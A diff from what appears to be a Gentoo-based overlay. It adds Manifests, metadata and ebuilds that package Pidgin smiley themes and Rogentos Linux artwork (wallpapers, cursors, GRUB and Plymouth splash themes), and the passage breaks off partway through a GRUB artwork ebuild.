+DIST smart.zip 112674 SHA256 89d75d8b483fda574546911d8d79578de3a4ca9000be3c5051913e1ac0f1abe0 SHA512 00b9fa4d7ff0e775fd6dc1f37f62b8dc582be8c3d7de9f9cd9fe67ee80740903f8a3bcd9af5caee61ce3e5afe647368e9fbbc9026de4091f4d8bb0fd5178b01b WHIRLPOOL db12403d656871b6033c63cf0a3e7987758a0e21383483755173617f857f93099b409ea0661f8e1040e53d9cfd64cafc86c93b79e8e709bb90199c2246d874be
+DIST tweak-0.1.3.tar.gz 10880 SHA256 f172c83212443c80050594fb0c65e94ac5faff059b0927d8f38bb370079b9b23 SHA512 9d2cb9c63e3c8775f7d5628e1e891202e8dba481d2f9a6be6519444fd7495aa3cd2721420f9736b726c39a750684db3674e36004821b86dcc974406819f3ec62 WHIRLPOOL b6b79ac017c1b8f231f49aab04c9b3354e7236e7c529288c5d921307b94a164af1717e7219b1b9d311f366715470f20e64807917c33e6b535f0a776def55d5db
+EBUILD pidgin-smileys-20080819.ebuild 1706 SHA256 3bad2cbebb83f1ddba9d3ddb37c6f1769afb93dac8b6397c46681f9b3c25514d SHA512 41d003734c4aa56ec19303a2f88be8636b99243fa36c6da2a066e7fa2783d1aa0dd11248ce15563fdf730e408a1767d5f6bf5b81189c045b44afd05e863b760b WHIRLPOOL b2dd8d3db198aa0aee70759f32fedf98f9e104c47d8047121773d759f16bc1a50d00c5023b5bc6735d685de851e8285dbffb8291daa809ea8cf18176af913809
+EBUILD pidgin-smileys-20100821.ebuild 1845 SHA256 1b9012f7e7b2067fba4bc2c46b296e53efcad9e90800de99c9455e8f4d374cbf SHA512 3af3eb1951282e253736e6f2ae38cfd8f5dec86c74ff18763217471ef70783b281d0fed2258db225b5afa31f880013cdf610aab10170875a95e9aa2670a2d02a WHIRLPOOL 329c81a47183343582e032db7790d0625dfec25fe237c29667104c6caedc83d7190e2e01d131674b0fa5b0272046f0a1f2c71055ea064cacc2cbfb2e9830cdf6
+MISC ChangeLog 1875 SHA256 b9689598a521d7011901711580df708b2dcdb914fe5539f820b0a5337004de34 SHA512 fed86231ef3e89a8a08f47c1c55e0692a6c1d683c87120f759d534ba7445835c27515242f9d88e3ab04833eb331d8224e6ec7f8519781ceb1d181cc0aa810247 WHIRLPOOL cabab254b94dacaa0ffe8d7de03a3b6362621c6999fc8715a34d9316ce56054f9190fedab7b7ec1d9243210e6fb1b775e0a089ba20372948254a48927c45da65
+MISC metadata.xml 207 SHA256 bda568bd6d91651898b371550c225b22a677f6a39fa1d78dfbbe84c317ff86ab SHA512 634b892d0b3c6f5335efb57b6c5d24c3afb3a8fff9043165c0e3b06ec20a1c23b9ea6d1fc49a808732a012fc233a0e5a5d3e7450fa3ec2e568d3a01e33b86562 WHIRLPOOL aea794048228b70d99441acde9dc4bed67ac3b54ec51a20c717336429a1ced91c998b91f68464cd84af4c2f83afe8dc4e0784c0c68f5084dea782a7b538faa48
+-----BEGIN PGP SIGNATURE-----
+Version: GnuPG v2.0.19 (GNU/Linux)
+
+iQIcBAEBCAAGBQJRgTKvAAoJEF0huFKJUZL5BhkP/3pi+07XR0/s0NZLod8z7hK1
+h/bWdzrZooDaynu7PQ6tcTcWNtBwvFjV6nL2S7bYIK/eJtQG9YHooWv2NmVPuMjc
+88BLfQRqsIJFlXDeLzxcKuloXwRTMtqIw0RXk7Fn4HBxAWaq2r20xiBN9ertD4U/
+t0IO2mOrvMzSaSrsWu5VWOMkE71cTJY/azz37gYti0nBrDtt106eOwgxjoyPUig+
+OJF1pmoe8JZQOpCS8aJuwJIH4Wx7xyncXvXNZXf+fxDrXW0nUMW1FeiJ4riNKmWv
+Tw4nqs9z0phwpRYsm2ffllyabbTn6Afh6co517khxRuEEcYEEN7fR41FdD8qAe2Z
+h5fJngilj4RgXpFxGhq4hHpD2KTwV5Ov7DGEREkGm8gjbWjfmUDZCoIKCTrQGojR
+GZ1u7qaMNz3VNvM/70VU9PXixS6I2uIkfAPIVB6wLS56dx6gIZo4GctdxtP3hiiZ
+myyiyORKmcsd0rQqOidRTKcxO+5h+zE+kr3WT6G3x3CD+ovBEUUjXHeJtzBUb5zz
+vokAFq5Mw4ypeg8y3GtS1aYymfTqCiDMjODavi5nhtAeaIHIHx9GbXU49HJYJ+6b
+T6Wwuq+cFAO9G0EID3SB6s2pQLPecVMYxiir8IfR+7B01OVJ6bm0tYgU4/dE7U+M
+4sYL3MzWcbbZidpH7Kc1
+=Ifcl
+-----END PGP SIGNATURE-----
diff --git a/x11-themes/pidgin-smileys/metadata.xml b/x11-themes/pidgin-smileys/metadata.xml
new file mode 100644
index 00000000..a7f330f8
--- /dev/null
+++ b/x11-themes/pidgin-smileys/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<maintainer>
+		<email>xarthisius@gentoo.org</email>
+	</maintainer>
+</pkgmetadata>
diff --git a/x11-themes/pidgin-smileys/pidgin-smileys-20080819.ebuild b/x11-themes/pidgin-smileys/pidgin-smileys-20080819.ebuild
new file mode 100644
index 00000000..58ccb4ba
--- /dev/null
+++ b/x11-themes/pidgin-smileys/pidgin-smileys-20080819.ebuild
@@ -0,0 +1,50 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-themes/pidgin-smileys/pidgin-smileys-20080819.ebuild,v 1.3 2013/05/01 15:20:14 xarthisius Exp $
+
+DESCRIPTION="Pidgin smiley themes"
+HOMEPAGE="http://pidgin.im/"
+SRC_URI="http://gaim.sourceforge.net/exhaustive.tar.gz
+	http://www.the-kgb.org/~reivec/Bugeyes.tar.gz
+	http://www.the-kgb.org/~reivec/CrystalAIM.tar.gz
+	http://www.the-kgb.org/~reivec/EasterAIM.tar.gz
+	http://www.gnomepro.com/smallsmiles/SmallSmiles.tar.gz
+	http://users.skynet.be/xterm/tweak-0.1.3.tar.gz
+	http://hejieshijie.net/files/Maya.tar.gz
+	http://stephane.pontier.free.fr/projects/TrillyPro.tgz
+	http://www.rit.edu/~kod1929/Aqua.tar.gz
+	http://www.rit.edu/~kod1929/Jimmac_2.tar.gz
+	http://smart-idiot.no-ip.com/smilies/smart.zip
+	http://www.geocities.com/drewd146/Hand_Drawn.zip
+	http://www.zicklepop.com/downloads/dudes.zip
+	http://www.pfarroli.de/monne/piko/icq_lite.tar.gz
+	http://www.mbpublish.de/downloads/icq-lite-4_smileys.tar.gz
+	http://kolobok.us/files/user/kolobok_for_gaim.tar.gz"
+
+LICENSE="as-is"
+IUSE=""
+SLOT="0"
+
+KEYWORDS="~alpha amd64 ~ia64 ~ppc ~ppc64 ~sparc ~x86"
+RDEPEND="net-im/pidgin"
+DEPEND="app-arch/unzip
+	!x11-themes/pidgin-penguins-smileys"
+
+S="${WORKDIR}"
+
+src_unpack() {
+	unpack ${A}
+
+	# Delete all files not theme-related
+	find "${S}" -type f ! -name '*.png' -and ! -name '*.gif' -and ! -name '*.jpg' -and ! -name 'theme' -delete
+}
+
+src_install() {
+	dodir /usr/share/pixmaps/pidgin/emotes
+	cp -r "${S}"/* "${D}"/usr/share/pixmaps/pidgin/emotes
+}
+
+pkg_postinst() {
+	einfo "To request a new theme to be added, file a request at"
+	einfo "http://bugs.gentoo.org/"
+}
diff --git a/x11-themes/pidgin-smileys/pidgin-smileys-20100821.ebuild b/x11-themes/pidgin-smileys/pidgin-smileys-20100821.ebuild
new file mode 100644
index 00000000..e3e05a49
--- /dev/null
+++ b/x11-themes/pidgin-smileys/pidgin-smileys-20100821.ebuild
@@ -0,0 +1,52 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-themes/pidgin-smileys/pidgin-smileys-20100821.ebuild,v 1.5 2013/05/01 15:20:14 xarthisius Exp $
+
+DESCRIPTION="Pidgin smiley themes"
+HOMEPAGE="http://pidgin.im/"
+SRC_URI="http://gaim.sourceforge.net/exhaustive.tar.gz
+	http://www.the-kgb.org/~reivec/Bugeyes.tar.gz
+	http://www.the-kgb.org/~reivec/CrystalAIM.tar.gz
+	http://www.the-kgb.org/~reivec/EasterAIM.tar.gz
+	http://www.gnomepro.com/smallsmiles/SmallSmiles.tar.gz
+	http://users.skynet.be/xterm/tweak-0.1.3.tar.gz
+	http://hejieshijie.net/files/Maya.tar.gz
+	http://stephane.pontier.free.fr/projects/TrillyPro.tgz
+	http://www.rit.edu/~kod1929/Aqua.tar.gz
+	http://www.rit.edu/~kod1929/Jimmac_2.tar.gz
+	http://smart-idiot.no-ip.com/smilies/smart.zip
+	http://www.geocities.com/drewd146/Hand_Drawn.zip
+	http://www.zicklepop.com/downloads/dudes.zip
+	http://www.pfarroli.de/monne/piko/icq_lite.tar.gz
+	http://www.mbpublish.de/downloads/icq-lite-4_smileys.tar.gz
+	http://kolobok.us/files/user/kolobok_for_gaim.tar.gz
+	http://files.andreineculau.com/projects/pidgin/original-smileys/pidgin-original-1.9.tgz
+	mirror://gentoo/pidgin-penguins-smileys-1.0.tar.bz2"
+
+LICENSE="as-is"
+IUSE=""
+SLOT="0"
+
+KEYWORDS="~alpha amd64 ~ia64 ppc ppc64 ~sparc x86"
+RDEPEND="net-im/pidgin"
+DEPEND="app-arch/unzip
+	!x11-themes/pidgin-penguins-smileys"
+
+S="${WORKDIR}"
+
+src_unpack() {
+	unpack ${A}
+
+	# Delete all files not theme-related
+	find "${S}" -type f ! -name '*.png' -and ! -name '*.gif' -and ! -name '*.jpg' -and ! -name 'theme' -delete
+}
+
+src_install() {
+	dodir /usr/share/pixmaps/pidgin/emotes
+	cp -r "${S}"/* "${D}"/usr/share/pixmaps/pidgin/emotes
+}
+
+pkg_postinst() {
+	einfo "To request a new theme to be added, file a request at"
+	einfo "http://bugs.gentoo.org/"
+}
diff --git a/x11-themes/rogentos-artwork-core/Manifest b/x11-themes/rogentos-artwork-core/Manifest
new file mode 100644
index 00000000..523b0c50
--- /dev/null
+++ b/x11-themes/rogentos-artwork-core/Manifest
@@ -0,0 +1,4 @@
+DIST rogentos-artwork-core-1.tar.xz 20451128 SHA256 03ebf9a7e21424b6e9708f0bd8ac179603d43343c18f4d54fb6a4f67c82e94de SHA512 0dfbf701518bf4dd9c58cdf654579d68c6d1d82258f9f1b1d6c82831e60710530f3228496c35591ed05379735df7a3c138fb2a30092026c00b1040ba4c3e713a WHIRLPOOL d854f7167230f6c8880d2af7196cb72589d827f4eb0dc92f8d644abb122443765011056ad47d713a122b445fb844e46b43c8ecba21958ccb421b415d0a97493b
+DIST rogentos-artwork-core-2.1.tar.xz 22867204 SHA256 5d10e0e9b97ae4ee6cee9717ab410083b3b9cd8fb3fe68e745fe91b062d793fd SHA512 8e74f10e69cccc80a6c5d878f6608d15990121614428e2b2b443c208d53fda15f9728f9adad664bf5e5261a75c4bbc84380fb43047ecbadb8be206691b819dc6 WHIRLPOOL ee49877b242f779874211d37e0affb2b35eee0cb43e1b3e8b853a3227c1a805debbd5c727790e65c691ebc7ab95a58f2177ef02ae93035c92cad855a93a4da4a
+DIST rogentos-artwork-core-2.2.tar.xz 22611772 SHA256 f57e7b98c30dcc1ea1eb98c6f77951a20787698d367fd04357939f52a578bfcd SHA512 bd8fe0cd1659fb658b602d3768abb48578792cff00c9962c5f9ae21e54fe35964a35a77bb912428a2b2d251fd84e85c31589bd4eecf974ea0872c1c1b7dcdd53 WHIRLPOOL e7f42ed9233d60aedaf09c4c0d2564f52622d7affc4c16c30b625cf8244f42bdbd0443fb4219dc2e81480ebf6dd5d4bb42474b45109bf85f6efeeba27abe4393
+DIST rogentos-artwork-core-2.tar.xz 19830976 SHA256 f343ea3d201bd5a1e19e310ca89945c4cf2491e36ee42ba9ffdd7e78de338525 SHA512 97c77b754d62e4a4433e3324ac5f7b2b282b8a34994a57d69dc9d984391010e0018ad97cd2fe44114d67c4bad8439584a0fa519a0c457f2a5884d31f0be641f0 WHIRLPOOL 2d8b51361b2dbc8a902e516886d6686c95b28af343bfbbefaede1a862f8c9ad1ae73845469edb1936470fa88c7aef01cea4aa0e7a1b351e0de3977ea189ace60
diff --git a/x11-themes/rogentos-artwork-core/rogentos-artwork-core-1.ebuild b/x11-themes/rogentos-artwork-core/rogentos-artwork-core-1.ebuild
new file mode 100644
index 00000000..513e878e
--- /dev/null
+++ b/x11-themes/rogentos-artwork-core/rogentos-artwork-core-1.ebuild
@@ -0,0 +1,53 @@
+# Copyright 1999-2012 Sabayon Promotion
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+inherit eutils mount-boot rogentos-artwork
+
+DESCRIPTION="Offical Rogentos Linux Core Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.xz
+	http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.xz"
+
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~arm ~x86 ~amd64"
+IUSE=""
+RDEPEND="sys-apps/findutils
+	!<sys-boot/grub-0.97-r22
+"
+
+S="${WORKDIR}/${PN}"
+
+src_install() {
+	# Fbsplash theme
+	cd ${S}/fbsplash
+	dodir /etc/splash/rogentos
+	cp -r ${S}/fbsplash/rogentos/* ${D}/etc/splash/rogentos
+
+	# Cursors
+	cd ${S}/mouse/entis/cursors/
+	dodir /usr/share/cursors/xorg-x11/entis/cursors
+	insinto /usr/share/cursors/xorg-x11/entis/cursors/
+	doins -r ./
+
+	# Wallpaper
+	cd ${S}/background
+	insinto /usr/share/backgrounds
+	doins *.png *.jpg
+	#newins rogentoslinux.png rogentos-nvidia.png
+}
+
+pkg_postinst() {
+	# mount boot first
+	mount-boot_mount_boot_partition
+
+	# Update Sabayon initramfs images
+	update_sabayon_kernel_initramfs_splash
+
+	einfo "Please report bugs or glitches to"
+	einfo "BlackNoxis"
+}
diff --git a/x11-themes/rogentos-artwork-core/rogentos-artwork-core-2.1.ebuild b/x11-themes/rogentos-artwork-core/rogentos-artwork-core-2.1.ebuild
new file mode 100644
index 00000000..0391ba07
--- /dev/null
+++ b/x11-themes/rogentos-artwork-core/rogentos-artwork-core-2.1.ebuild
@@ -0,0 +1,72 @@
+# Copyright 1999-2012 Sabayon Promotion
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+inherit eutils mount-boot rogentos-artwork
+
+DESCRIPTION="Offical Rogentos Linux Core Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.xz"
+	#http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.xz temporary out of duty repo
+
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~arm ~x86 ~amd64"
+IUSE=""
+RDEPEND="sys-apps/findutils
+	!<sys-boot/grub-0.97-r22
+"
+
+S="${WORKDIR}/${PN}"
+
+src_install() {
+	# Fbsplash theme
+	cd ${S}/fbsplash
+	dodir /etc/splash/rogentos
+	cp -r ${S}/fbsplash/rogentos/* ${D}/etc/splash/rogentos
+
+	# Cursors
+	cd ${S}/mouse/entis/cursors/
+	dodir /usr/share/cursors/xorg-x11/entis/cursors
+	insinto /usr/share/cursors/xorg-x11/entis/cursors/
+	doins -r ./
+
+	# Wallpaper
+	cd "${S}"/background
+	insinto /usr/share/backgrounds
+	doins *.png *.jpg
+	dosym /usr/share/backgrounds/Kogaion_tri_flame_wide.png /usr/share/backgrounds/kogaionlinux.png || die
+	dosym /usr/share/backgrounds/Kogaion_tri_flame_wide.png /usr/share/backgrounds/kgdm.png || die
+	#newins rogentoslinux.png rogentos-nvidia.png
+
+	# Backdrop functionality for Xfce
+	dodir /usr/share/xfce4/backdrops
+	insinto /usr/share/xfce4/backdrops
+	doins *.png *.jpg
+	dosym /usr/share/xfce4/backdrops/Kogaion_tri_flame_wide.png /usr/share/xfce4/backdrops/kogaionlinux.png || die
+	dosym /usr/share/xfce4/backdrops/Kogaion_blue_flame_wide.png /usr/share/xfce4/backdrops/kgdm.png || die
+	#dosym kogaionlinux.png "Kogaion_tri_flame_wide.png"
+	#dosym kgdm.png "Kogaion_blue_flame_wide.png"
+
+	# Plymouth
+	cd "${S}/plymouth/" || die
+	insinto /usr/share/plymouth
+	doins bizcom.png
+	insinto /usr/share/plymouth/themes
+	doins -r themes/rogentos
+
+}
+
+pkg_postinst() {
+	# mount boot first
+	mount-boot_mount_boot_partition
+
+	# Update Sabayon initramfs images
+	update_sabayon_kernel_initramfs_splash
+
+	einfo "Please report bugs or glitches to"
+	einfo "BlackNoxis"
+}
diff --git a/x11-themes/rogentos-artwork-core/rogentos-artwork-core-2.2.ebuild b/x11-themes/rogentos-artwork-core/rogentos-artwork-core-2.2.ebuild
new file mode 100644
index 00000000..eeb8adc7
--- /dev/null
+++ b/x11-themes/rogentos-artwork-core/rogentos-artwork-core-2.2.ebuild
@@ -0,0 +1,71 @@
+# Copyright 1999-2012 Sabayon Promotion
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+inherit eutils mount-boot rogentos-artwork
+
+DESCRIPTION="Offical Rogentos Linux Core Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.xz"
+	#http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.xz temporary out of duty repo
+
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~arm ~x86 ~amd64"
+IUSE=""
+RDEPEND="sys-apps/findutils
+	!x11-themess/sabayon-artwork-core
+	!<sys-boot/grub-0.97-r22
+"
+
+S="${WORKDIR}/${PN}"
+
+src_install() {
+	# Fbsplash theme
+	cd ${S}/fbsplash
+	dodir /etc/splash/rogentos
+	cp -r ${S}/fbsplash/rogentos/* ${D}/etc/splash/rogentos
+
+	# Cursors
+	cd ${S}/mouse/entis/cursors/
+	dodir /usr/share/cursors/xorg-x11/entis/cursors
+	insinto /usr/share/cursors/xorg-x11/entis/cursors/
+	doins -r ./
+
+	# Wallpaper
+	cd "${S}"/background
+	insinto /usr/share/backgrounds
+	doins *.png *.jpg
+	dosym /usr/share/backgrounds/Kogaion_tri_flame_wide.png /usr/share/backgrounds/kogaionlinux.png || die
+	dosym /usr/share/backgrounds/Kogaion_blue_flame_wide.png /usr/share/backgrounds/kgdm.png || die
+	#newins rogentoslinux.png rogentos-nvidia.png
+
+	# Backdrop functionality for Xfce
+	dodir /usr/share/xfce4/backdrops
+	insinto /usr/share/xfce4/backdrops
+	doins *.png *.jpg
+	dosym /usr/share/xfce4/backdrops/Kogaion_tri_flame_wide.png /usr/share/xfce4/backdrops/kogaionlinux.png || die
+	dosym /usr/share/xfce4/backdrops/Kogaion_blue_flame_wide.png /usr/share/xfce4/backdrops/kgdm.png || die
+
+	# Plymouth
+	cd "${S}/plymouth/" || die
+	insinto /usr/share/plymouth
+	doins bizcom.png
+	insinto /usr/share/plymouth/themes
+	doins -r themes/rogentos
+
+}
+
+pkg_postinst() {
+	# mount boot first
+	mount-boot_mount_boot_partition
+
+	# Update Sabayon initramfs images
+	update_sabayon_kernel_initramfs_splash
+
+	einfo "Please report bugs or glitches to"
+	einfo "BlackNoxis"
+}
diff --git a/x11-themes/rogentos-artwork-core/rogentos-artwork-core-2.ebuild b/x11-themes/rogentos-artwork-core/rogentos-artwork-core-2.ebuild
new file mode 100644
index 00000000..6f7c884a
--- /dev/null
+++ b/x11-themes/rogentos-artwork-core/rogentos-artwork-core-2.ebuild
@@ -0,0 +1,63 @@
+# Copyright 1999-2012 Sabayon Promotion
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+inherit eutils mount-boot rogentos-artwork
+
+DESCRIPTION="Offical Rogentos Linux Core Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.xz"
+	#http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.xz temporary out of duty repo
+
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~arm ~x86 ~amd64"
+IUSE=""
+RDEPEND="sys-apps/findutils
+	!<sys-boot/grub-0.97-r22
+"
+
+S="${WORKDIR}/${PN}"
+
+src_install() {
+	# Fbsplash theme
+	cd ${S}/fbsplash
+	dodir /etc/splash/rogentos
+	cp -r ${S}/fbsplash/rogentos/* ${D}/etc/splash/rogentos
+
+	# Cursors
+	cd ${S}/mouse/entis/cursors/
+	dodir /usr/share/cursors/xorg-x11/entis/cursors
+	insinto /usr/share/cursors/xorg-x11/entis/cursors/
+	doins -r ./
+
+	# Wallpaper
+	cd "${S}"/background
+	insinto /usr/share/backgrounds
+	doins *.png *.jpg
+	doins "Circles wide.png" kogaionlinux.png
+	doins "Kogaion fuzzy 2.png" kgdm.png
+	#newins rogentoslinux.png rogentos-nvidia.png
+
+	# Backdrop functionality for Xfce
+	dodir /usr/share/xfce4/backdrops
+	insinto /usr/share/xfce4/backdrops
+	doins *.png *.jpg
+	doins "Circles wide.png" kogaionlinux.png
+	doins "Kogaion fuzzy 2.png" kgdm.png
+
+}
+
+pkg_postinst() {
+	# mount boot first
+	mount-boot_mount_boot_partition
+
+	# Update Sabayon initramfs images
+	update_sabayon_kernel_initramfs_splash
+
+	einfo "Please report bugs or glitches to"
+	einfo "BlackNoxis"
+}
diff --git a/x11-themes/rogentos-artwork-extra/Manifest b/x11-themes/rogentos-artwork-extra/Manifest
new file mode 100644
index 00000000..6a4de370
--- /dev/null
+++ b/x11-themes/rogentos-artwork-extra/Manifest
@@ -0,0 +1,2 @@
+DIST rogentos-artwork-extra-1.tar.gz 886271 RMD160 ceb4680bc832201f94069b6da9a7d4114b6060b0 SHA1 f6c189c81d06fffdd9ce1d4b8619b5eb03df7eef SHA256 25bfe94aad1f72b9581e5f640824f75986ec4328a300b60565a5dd64919a0d98
+EBUILD rogentos-artwork-extra-1.ebuild 738 RMD160 e47180cb271d5970f5df59c67e1af6fbf3d31c35 SHA1 544e04b46032f3137b3f8a10004711641d9128a4 SHA256 b0ba1884505fe1be8249990641c2f463f98cdbd6ede69dbad315e6632596980f
diff --git a/x11-themes/rogentos-artwork-extra/rogentos-artwork-extra-1.ebuild b/x11-themes/rogentos-artwork-extra/rogentos-artwork-extra-1.ebuild
new file mode 100644
index 00000000..e91c477f
--- /dev/null
+++ b/x11-themes/rogentos-artwork-extra/rogentos-artwork-extra-1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2004-2012 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+#
+
+EAPI=3
+
+DESCRIPTION="Rogentos Linux Artwork Extras"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz
+	http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+RDEPEND=""
+
+S="${WORKDIR}/${PN}"
+
+src_install () {
+	# Compiz cube theme
+	cd "${S}"/compiz
+	dodir /usr/share/compiz
+	insinto /usr/share/compiz/
+	doins *.png
+
+	# Emerald theme
+	cd "${S}"/emerald
+	dodir /usr/share/emerald/themes
+	insinto /usr/share/emerald/themes/
+	doins -r ./
+}
diff --git a/x11-themes/rogentos-artwork-grub/Manifest b/x11-themes/rogentos-artwork-grub/Manifest
new file mode 100644
index 00000000..0f1d6a24
--- /dev/null
+++ b/x11-themes/rogentos-artwork-grub/Manifest
@@ -0,0 +1,7 @@
+DIST rogentos-artwork-grub-1.tar.gz 550599 SHA256 066d7af2907edf51cad075de3aeb0e21c36ffee8ef7c87fcd557cf2129efccdb
+DIST rogentos-artwork-grub-2.1.tar.gz 235174 SHA256 8a43caf517663d00d66b7f24e9a9148ec2eb290fe72ff900751a2c5c51b5aa81 SHA512 2476ab2b3470ed643ba0d3d39d3b16611fde22e0bad6cfad6fec992dfd492da073d772cfd9c35e686a9858a7b8866025493908cb46ce26a24d960b5c10592d32 WHIRLPOOL b3afa770fcf980b7fff3d86926768ec3c056c6e6e1f1163ce15ad0a748b6ba7eced49ec543f2b910aef0f4b2e2ae2312876893599535108d5bebabb944bf94fc
+DIST rogentos-artwork-grub-2.tar.gz 189763 SHA256 8f691859f30d5c0549c72915e9fe9f4ca84850af0345c9cd11ae92fd55843c97 SHA512 691d5571a5118a749ed1631c499643e0d7335bff907ee33fb3b53aa96b5eda9e9b87920106a14155024ce68dadde1155913a801487df63ecb305ca858e0c801d WHIRLPOOL de1d2d6fc51e94f250c64931c26b05a56c308aad6ddab15977ed4c1e13b236c75034fb7fd1f5e6669f08e385454af17aa7af58a6d2dd6fed8857dc841654c636
+EBUILD rogentos-artwork-grub-1.ebuild 751 SHA256 e07b529cc6dd590808ba308d92cf8f7e1ae45ca09e80b77d1cf18b394387fc8a SHA512 96cefb0ac8823b74e45629b4b9c31bb3a9d319f539c45a65f13e69b26cf0d33940587975b22f948d912068a88e5e4e6adc6a734fb0b78ab1bbcfdb4cc5bedef0 WHIRLPOOL 9e4f3047043c9664e9fe2fdf2625dafa051d6a78e94b3a92ab122e7612ece2fff1f0b175ad455f07aae76747e23621391fde273e47c138629e14a3fafcafc1d4
+EBUILD rogentos-artwork-grub-2-r1.ebuild 784 SHA256 43fcbbae2994d52efcd354094e5dc3023bab232a721b3484874eb13b91c2f7ca SHA512 1595e09af9ac5e535364ae6a32b23315fd6d1b54968edaba09d19cc9ef09cc20e685332553720714ceab632c19294126c458ca11779b1c0531abb8a703a51241 WHIRLPOOL 1412c657aed939f86bb90a93cf5dd651720b5541a2be7f782d6a4d0a5239eb09399f2ec47c6832eb6bc863baac7a1ac4f49450141acf9b0e8de946bbdf1d368f
+EBUILD rogentos-artwork-grub-2.1.ebuild 784 SHA256 43fcbbae2994d52efcd354094e5dc3023bab232a721b3484874eb13b91c2f7ca SHA512 1595e09af9ac5e535364ae6a32b23315fd6d1b54968edaba09d19cc9ef09cc20e685332553720714ceab632c19294126c458ca11779b1c0531abb8a703a51241 WHIRLPOOL 1412c657aed939f86bb90a93cf5dd651720b5541a2be7f782d6a4d0a5239eb09399f2ec47c6832eb6bc863baac7a1ac4f49450141acf9b0e8de946bbdf1d368f
+EBUILD rogentos-artwork-grub-2.ebuild 753 SHA256 ef002b5e0dad30b4d4c01571106384d7363c84f370abca1fd6f9794de3609db3 SHA512 d19bc530638b54a76741be330ab819354baee3b5f76a5b1f9714aae9a92569b7e200f135a52a4312488775cea223a76c04d75d96dfcf88539884e362eb285a5a WHIRLPOOL b63e1d4d88f9dd7931994c04564340efa7314c26edcd63f520e3f5605ee22ea1307052055d79a69bacad5fffb7f2a9ed283369adb74cfbb7ebbeb783998ef31e
diff --git a/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-1.ebuild b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-1.ebuild
new file mode 100644
index 00000000..d7ae7f71
--- /dev/null
+++ b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2004-2012 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
+inherit base mount-boot
+
+DESCRIPTION="Rogentos GRUB2 Images"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND=""
+
+S="${WORKDIR}"
+
+src_install () {
+	dodir /usr/share/grub
+	insinto /usr/share/grub
+	doins default-splash.png
+}
+
+pkg_postinst() {
+	local dir="${ROOT}"boot/grub
+	cp "${ROOT}/usr/share/grub/default-splash.png" "${dir}/default-splash.png" || \
+		ewarn "cannot install default splash file!"
+}
diff --git a/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2-r1.ebuild b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2-r1.ebuild
new file mode 100644
index 00000000..a7ca282e
--- /dev/null
+++ b/x11-themes/rogentos-artwork-grub/rogentos-artwork-grub-2-r1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2004-2012 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
